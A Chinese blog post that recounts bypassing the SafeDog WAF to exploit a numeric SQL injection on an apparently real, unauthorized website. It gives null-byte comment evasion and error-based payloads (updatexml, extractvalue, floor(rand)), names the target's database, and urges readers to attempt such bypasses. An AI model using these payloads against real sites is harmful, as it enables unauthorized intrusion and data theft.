***技巧篇--关于安全狗的一些见解

     安全的攻与防一直永不过期的话题。
     正如你***的某个网站,也许某一刻由于各类技术条件限制,你没法很好对其进行***,可是随着本身的成长以及研究。总会有些意想不到的小惊喜在等着你。
     上一周,本身手上有很多的任务,因此前三天是论坛上的,后两天则去作本身手头上的事情。在***一个网站的时候,发现了一个数字型的注入点,正准备利用的时候。Duang,安全狗弹出来了。



     那天手上的任务不算太多,就打算手动测试一下,思考怎么去绕过安全狗(( ω ))。
     那么下面来说述个人故事吧!
     (1)寻找到一个疑似数字型的注入点
     访问网站以后,我对带id参数的url进行手工测试。发现有一个url的id参数有问题。
     首先是正常的url,返回的页面以下图。


     以后我简单的遍历一下id这个参数,当id=1的时候。页面长这个样子。


     而后我开始验证是否可能存在注入点,通常对于这种数字型的参数。咱们经过原id数值加减乘除另一个数值,而后对比运算后的结果的页面与对应id页面是否同样。简单来讲,要是id=37-36这个页面和id=1页面长的同样,咱们能够猜想这里可能存在一个注入点。
     而后将id参数变换成id=37-36,以下图。能够发现这个页面彻底和id=1如出一辙。


         
    (2)而后我使用order by [数字]来肯定当前select语句的列数的时候,数据库报错了。以下图。


     由上图咱们能够看见,原来后台的sql语句已经带有order by,那咱们--+(在url中+表示空格)注释它好了。能够看到页面又和id=37的同样了。


     以后和常规同样,咱们使用union select 1来获取数据。可是现实狠狠的给咱们一个耳光,网站有安全狗。以下图
 

     以后,楼主开始测试了,想想用%0a(对应着换行符)。不过好像并无什么卵用。以下图
 

     那咱们试试空字符%00,这个在不少场合有神奇功能的字符。好像有用耶,网站返回报错信息,以下图。




咱们能够看到37和union之间没有空格。咱们加上一个空格看看。以下图,后台仍是报错了,报错信息和以前同样,这说明%00这个符号在sql查询语句会有问题,那咱们怎么办呢?




咱们将%00放在什么位置,对于sql语句是没有影响呢?我想机智的你会想到mysql的多行注释,咱们只须要将%00放在/**/之间,mysql将会对%00视而不见。那咱们来看看实际的结果。



     从上图能够看到,返回的错误信息不同了。熟悉sql语句的同窗会知道,这是在告诉咱们咱们union前面的两个select 语句不同,这时候咱们仔细观察一下,这里select 的列数变成了三列,和咱们第一次测试的不同。以下图,下面是咱们第一次union的测试,能够看到这里只有一列。也就是说这个id参数用在了两次不一样的查询,意味着咱们没法经过union select在获取数据了。


     如今咱们来理清一下思绪:
     第一次select语句为: SELECT count(id) as c FROM `hdm0550293_db`.`m16_news` WHERE cid=37/**/union select 1,2,3-- LIMIT 1
     第二次select语句为: SELECT `id`,`title`,`pic` FROM `hdm0550293_db`.`m16_news` WHERE isdisplay=1 AND cid=37/**/union select 1-- ORDER BY sort desc,id desc LIMIT 0,9    
     (3)既然union没法利用,那咱们如今能够利用的技术为报错型注入与布尔盲注。
     [1]咱们测试updatexml(1,concat(0x7e,user()),0)




     [2]咱们测试extractvalue(1,concat(0x7e,user()))


     [3]咱们测试or (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))),以下图。:-O,个人天呀,咱们想要的数据出来了。


     获取当前数据库,or (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))


     可是在获取数据表名的时候,狗狗仍是检测到这种。
     (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)))--+




     可是,咱们起码已经一步步的绕过来,咱们突破了它的几个防护点。因此为本身点个赞。
     [2]固然咱们也可使用盲注技术来获取数据,但是一些常见的列表名仍是会被封禁。下面是我在写盲注脚本跑出的库名。


 

     (4)后来答主本身在本地环境安装了最新的apache版的安全狗。


     咱们来测试测试,新版本是否可使用%00。
     [1]首先,咱们先看一下咱们发现问题的站点。使用/*%00*/and 1=1能够正常返回页面
mysql




     而看一下我本地环境,最新版的安全狗。这样是没法经过的。


     很惋惜,这个%00符号,最新版的安全狗是检测的,可是为何目标站点没反应呢?
     能够看到安全狗有个选项,在线更新防御规则。安全狗对于新出来的注入是经过规则来匹配的,而不少网站觉得装了安全狗就安然无恙了。却不知缺少管理,对安全的不做为,致使了他们即便有了waf,也会致使本身网站遭受***的***。




     (5)写在最后,网站是须要维护和管理的。时刻注意着系统和软件的更新,不要想着有什么银弹。本身的不做为,什么安全软件也没法帮助你。之前楼主看到安全狗也是很郁闷的,可是通过这一次分析,发现人的不做为每每给咱们留下了机会。因此遇到安全狗,就去尝试绕过,也许你遇到的那个就是不做为的管理员。
     (6)这个周末没有运动,呜呜!本来星期天打算去玩的,哎,今晚拿来写帖子了,好累的赶脚。点赞的不要吝啬啦。下次真的得考虑一下录个视频,否则写个帖子,我竟然花了3个小时。
sql

相关文章
相关标签/搜索